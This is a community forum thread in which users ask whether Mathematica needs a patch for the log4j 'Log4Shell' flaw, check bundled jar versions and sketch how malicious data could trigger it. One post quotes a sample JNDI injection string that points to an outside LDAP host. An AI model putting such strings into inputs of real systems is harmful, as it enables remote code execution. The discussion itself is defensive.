Message Boards Message Boards

6
|
7184 Views
|
6 Replies
|
10 Total Likes
View groups...
Share
Share this post:

Mathematica security patch for log4j "Log4Shell" vulnerability?

Posted 2 years ago

Is a security fix for the log4j "Log4Shell" vulnerability available for Mathematica, or is a fix expected? Based only on a quick grep, it looks like Mathematica's RLink and its MS Access and NetCDF support might use log4j, and the included OPSIN library certainly does (and an update for it was recently committed). At this point I have no evidence that Mathematica is exploitable in practice, but it seemed prudent to ask if there is an update or if one is forthcoming.

POSTED BY: Derek S
6 Replies

Thank you for your concern. Our teams are aware of the issue. Please contact technical support directly for further information.

http://www.wolfram.com/support/contact

POSTED BY: Moderation Team
Posted 2 years ago

the file name shows as log4j-1.2.16.jar on my machine. Is that the version 2.16 that is patched?

POSTED BY: Edward Donie
Posted 2 years ago

Hi, no I'm afraid that's a rather old version--if it were the patched version, it would read 2.16.0. One way to check is to unzip the .jar file (JARs are actually ZIP archives, just with ".jar" instead of ".zip" at the end of the name); doing so shows files dated 2010.

Note that the vulnerable log4j code could be nested into other .jar files, i.e., files named *log4j*.jar visible at the file system level may not be the only vulnerable instances of the log4j code on the system.

[Clarification: The previous post apparently refers to the log4j used by Mathematica's RLink.]

POSTED BY: Derek S

Hi Derek,

Your scenario sounds reasonable, but if you think about the whole play, there would still need to be a point 1 and 2. Just replace "server" with the user's machine running some software, and add deception to item 2. How does the malicious file get into the user's queue? What protocol? SMTP?

Before we go throwing around ad hominems, I tried to be careful saying "more immediate concern". The reason is that active http / tcp analysis can happen right away, while deceptions take time to evolve. Additionally, most analysts should be looking for a big data set on a centralized server, not trying to get a reputation for attacking academic non-targets (these days, who knows).

Ultimately, I think you are right to worry about what's hidden in the closed box. If user data is at risk, of course a fix is high priority. In that case, maybe you should send the PoC to technical support with the CVE number.

Users running powerful software need to be confronted by such issues from time to time, but it probably isn't a good idea to post exploits in computable form here. If you know where to look, there are "journals" for this sort of thing, ha ha.

POSTED BY: Brad Klee
Posted 2 years ago

Before any developer sees requirement 1 ("A server with a vulnerable log4j version") and dismisses their product's exposure, I should clarify that the vulnerability is not actually limited to servers. Any use of log4j with attacker-controlled input is potentially dangerous (see, for example, people getting hacked via Minecraft chat messages).

Since logging is a generally good development practice, and it's very common for even release builds of software to ship with a logging capability (and not uncommon for it to be enabled by default), it's prudent to assume that any Java software, until proven to be unaffected, could be using a vulnerable version of log4j to log about anything it's doing--and if one of the things it does is handle untrusted input in any form, then that software could be vulnerable.

For example, say Product X uses Library Y to read (let's say) Microsoft Access databases. Library Y is a Java package which includes a vulnerable version of log4j, and it logs about some of the strings it encounters while reading .mdb files. Now suppose a user of Product X handles .mdb files as part of their usual workflow. One day they try to import into Product X a .mdb file that has a malicious string in it: Product X hands the file to Library Y, which reads the malicious string and passes it to log4j; the string exploits the vulnerability in log4j, and the user gets hacked.

Since Mathematica uses a lot of Java--not all of it written by Wolfram--and also has the potential to handle untrusted data, it seemed like it'd be a good idea to ask if there is or will soon be a patch.

POSTED BY: Derek S

There was a nice article about this on ars technica (and about a million other places on twitter and google news). If you need more detailed instructions how to, see also lunasec:

Exploit Requirements​

  1. A server with a vulnerable log4j version (listed above),

  2. an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,

  3. and a log statement that logs out the string from that request.

Point 2 is important and suggestive of more immediate concern needed for here this address, or a more attractive subject is prob. https://www.wolframcloud.com/. (Though I don't think wolfram is attracting too much negative attention relative to google or twitter.).

What's amazing if you look at pics of the "Analysis" is that it appears many of the "successful" (ugh) calls are going through fields that should have some sort of validation... Nobody's name is actually "${jndi:ldap://little.com/a}".

The real sad part is that while crooks get famous and anonymous at once, knowledgeable experts get only viewers numbered in the hundreds? See also: Tanja Lange: Intro to Cryptography. Free course from TUE, best in world class, and only ~200 views? Another example of biasing issues with online media. Added value, some will find Tanja funnier than SNL:

"...But don't say attack. Call it analysis instead."

LOL!

POSTED BY: Brad Klee

Group Abstract Group Abstract